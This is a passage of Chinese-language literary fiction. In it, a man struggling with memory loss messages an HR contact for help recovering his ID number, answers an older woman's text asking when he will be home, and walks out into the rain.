    胸口一阵起伏，飞快轻浅，也像昆虫振翅。视野中的景物碎裂又重组，几秒后才勉强拼回手机屏幕上冰冷的白光。


    不行。不能陷在这里。


    我深吸一口气，再缓缓吐出，将那些声音也一齐吐了出去。


    视线对焦——21：02。还好，不算太晚。


    点开微信，找到“国鑫hr徐姐”，一个字一个字敲入：


    “徐姐，我好像有点不太对劲。我想不起家里住址和身份证号了……你明天能帮忙找找我之前填的身份证号，发给我吗？”


    我盯着输入框，看了半晌。右手停在腿上，拇指的指甲刻进了食指侧面。终于，我松开拇指，将食指落在了“发送”上。


    界面一弹，它跳进了绿色的框里。


    ——这下，预支工资的路，就彻底堵死了。


    但，这早就不是钱的问题。


    我望着对话框愣了会儿神。手机突然一震，却不是徐姐回了信息——


    是方姨的短信：“怎么还没回来？太晚了，要不要去接？”


    ——太晚了，所以我一个大男人，要个老太太接我下班？


    我好笑地扯扯嘴角，笑才到嘴边却已经凉透。


    ——是该回去了。总得先过了今晚。


    我撑着站起身，将手机攥进袖口，提步向外走。


    大楼外，雨还在下。细细软软，凉丝丝地落在我的头顶、肩膀，在眼镜片上晕开一片迷蒙。


    迷蒙的中心，是那条金线。它游荡在黑暗的水底，引我前行。


    我顺着它，抬起头，却只看见茫茫的雨雾。


    过园区保安亭的时候，我停下，拿起手机。摁亮，回过去一条短信：


    “快好了。我就回来。”


    然后，我将手机沉进了裤兜的底部。